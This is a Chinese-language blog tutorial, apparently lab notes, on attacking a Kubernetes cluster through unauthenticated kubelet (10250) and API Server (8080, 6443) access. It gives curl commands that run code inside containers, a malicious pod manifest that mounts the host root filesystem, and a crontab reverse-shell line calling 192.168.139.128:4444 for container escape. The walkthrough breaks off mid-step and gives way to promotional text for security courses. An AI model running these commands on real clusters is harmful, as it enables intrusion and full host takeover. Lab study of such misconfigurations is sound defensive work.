https://www.jianshu.com/p/25c01cae990c
https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132

在这里插入图片描述
在这里插入图片描述

一、演示案例-云原生-K8s安全-Kubelet(node)未授权访问

攻击10250端口:kubelet未授权访问

在这里插入图片描述
在这里插入图片描述
192.168.230.132配置如下:

/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用执行命令这里需要三个参数

namespace:default
pod:test03
container:test03

1、访问获取三个参数值

https://192.168.139.132:10250/runningpods/

在这里插入图片描述

2、执行容器命令:

curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

在这里插入图片描述
执行的命令是test03容器里的命令,需要进行容器逃逸。

二、演示案例-云原生-K8s安全-API Server未授权访问

1、攻击8080端口:API Server(Master)未授权访问

旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
新版本k8s默认已经不开启8080。需要更改相应的配置

cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
重启kubelet进程

systemctl restart kubelet

在这里插入图片描述
kubectl官方工具下载地址:https://kubernetes.io/zh-cn/docs/tasks/tools/

一、获取所有主机(nodes)节点
kubectl.exe -s 192.168.139.130:8080 get nodes  

在这里插入图片描述

二、获取所有容器(pods)节点
kubectl.exe -s 192.168.139.130:8080 get pods 

在这里插入图片描述

三、创建新的docker容器
kubectl -s 192.168.139.130:8080 create -f xiaodi.yaml 
//创建一个pod文件,相当于新建一个名为xiaodi的docker容器

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、进入到创建的docker容器
kubectl -s 192.168.139.130:8080 --namespace=default exec -it xiaodi bash 
//docker进入到xiaodi容器的命令

在这里插入图片描述

五、容器逃逸获取宿主机shell
echo -e "\* \* \* \* \* root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

在这里插入图片描述
等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
在这里插入图片描述
在这里插入图片描述

2、攻击6443端口:API Server(Master)未授权访问

在这里插入图片描述

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

一、创建恶意pods容器
https://192.168.139.130:6443/api/v1/namespaces/default/pods/

POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

在这里插入图片描述

二、连接查看pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods

在这里插入图片描述

三、进入到test03容器里并反弹宿主机的shell

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

Logo

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐